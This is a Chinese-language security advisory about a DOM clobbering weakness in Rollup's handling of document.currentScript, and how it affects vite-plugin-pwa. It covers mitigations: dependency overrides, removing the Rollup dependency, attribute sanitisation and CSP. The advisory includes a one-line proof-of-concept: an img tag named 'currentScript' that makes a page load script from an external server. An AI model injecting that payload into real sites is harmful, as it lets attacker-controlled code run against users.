Vite-plugin-pwa 项目中 Rollup 依赖的 DOM 安全风险分析与解决方案
风险背景
在 vite-plugin-pwa 项目的依赖链中,发现了一个由 Rollup 打包工具引起的 DOM 安全风险。这类问题可能允许攻击者通过精心构造的 HTML 元素(如带有特定 name 属性的 img 标签)来影响 JavaScript 执行流程,最终可能导致安全问题。
技术原理分析
DOM 安全风险是一种特殊的代码重用技术。攻击者通过在网页中嵌入看似无害的非脚本 HTML 标记(如通过评论或帖子),然后利用现有 JavaScript 代码中的"小工具"(gadgets)将其转化为可执行代码。
在 Rollup 的具体实现中,当使用 cjs/umd/iife 格式打包包含 import.meta.url 的脚本时,Rollup 会尝试从 document.currentScript 获取 URL。然而,这个查找过程可能被利用通过浏览器的命名 DOM 树元素访问机制所影响。
风险影响
该问题会影响满足以下条件的网站:
- 使用了 Rollup 打包的文件(配置为 cjs/iife/umd 输出格式)
- 使用了 import.meta 相关功能
- 允许用户注入某些无脚本的 HTML 标签
- 未对 name 或 id 属性进行适当清理
问题重现示例
假设开发者使用 Rollup 打包以下脚本:
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
打包后的代码会包含对 document.currentScript 的引用。攻击者只需在页面中插入如下 HTML 元素:
<img name="currentScript" src="https://external.server/"></img>
这将导致浏览器从外部服务器加载额外的 JavaScript 文件,从而引发安全问题。
解决方案
临时解决方案
对于需要立即修复的项目,可以通过以下方式临时解决:
-
使用包管理器的覆盖功能强制使用安全版本:
- 在 package.json 中添加:
"overrides": { "rollup": ">=4.22.4" } - 或者使用 resolutions (yarn) / pnpm.overrides
- 在 package.json 中添加:
-
直接使用修复后的 PR 版本:
pnpm add -D vite-plugin-pwa@https://pkg.pr.new/vite-plugin-pwa@759
长期解决方案
vite-plugin-pwa 项目团队已经准备了一个移除 Rollup 依赖的 PR,从根本上解决了这个问题。该方案:
- 移除了 Rollup 开发依赖
- 仅保留必要的类型定义
- 使用 Vite 重新导出的 Rollup 类型
需要注意的是,这个解决方案将不再支持 Vite 3,仅支持 Vite 4 及以上版本。
最佳实践建议
- 定期检查项目依赖的安全问题
- 对于关键依赖,考虑使用包锁定功能
- 在允许用户输入 HTML 的场景下,严格过滤 name 和 id 属性
- 考虑使用 CSP 等安全策略限制脚本加载来源
总结
DOM 安全风险虽然不常见,但需要重视。通过理解其原理和解决方案,开发者可以更好地保护自己的应用安全。vite-plugin-pwa 项目团队快速响应并提供了多种解决方案,展示了开源社区在安全问题上的高效协作。
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00
GLM-4.7-FlashGLM-4.7-Flash 是一款 30B-A3B MoE 模型。作为 30B 级别中的佼佼者,GLM-4.7-Flash 为追求性能与效率平衡的轻量化部署提供了全新选择。Jinja00
VLOOKVLOOK™ 是优雅好用的 Typora/Markdown 主题包和增强插件。 VLOOK™ is an elegant and practical THEME PACKAGE × ENHANCEMENT PLUGIN for Typora/Markdown.Less00
PaddleOCR-VL-1.5PaddleOCR-VL-1.5 是 PaddleOCR-VL 的新一代进阶模型,在 OmniDocBench v1.5 上实现了 94.5% 的全新 state-of-the-art 准确率。 为了严格评估模型在真实物理畸变下的鲁棒性——包括扫描伪影、倾斜、扭曲、屏幕拍摄和光照变化——我们提出了 Real5-OmniDocBench 基准测试集。实验结果表明,该增强模型在新构建的基准测试集上达到了 SOTA 性能。此外,我们通过整合印章识别和文本检测识别(text spotting)任务扩展了模型的能力,同时保持 0.9B 的超紧凑 VLM 规模,具备高效率特性。Python00
KuiklyUI基于KMP技术的高性能、全平台开发框架,具备统一代码库、极致易用性和动态灵活性。 Provide a high-performance, full-platform development framework with unified codebase, ultimate ease of use, and dynamic flexibility. 注意:本仓库为Github仓库镜像,PR或Issue请移步至Github发起,感谢支持!Kotlin07
compass-metrics-modelMetrics model project for the OSS CompassPython00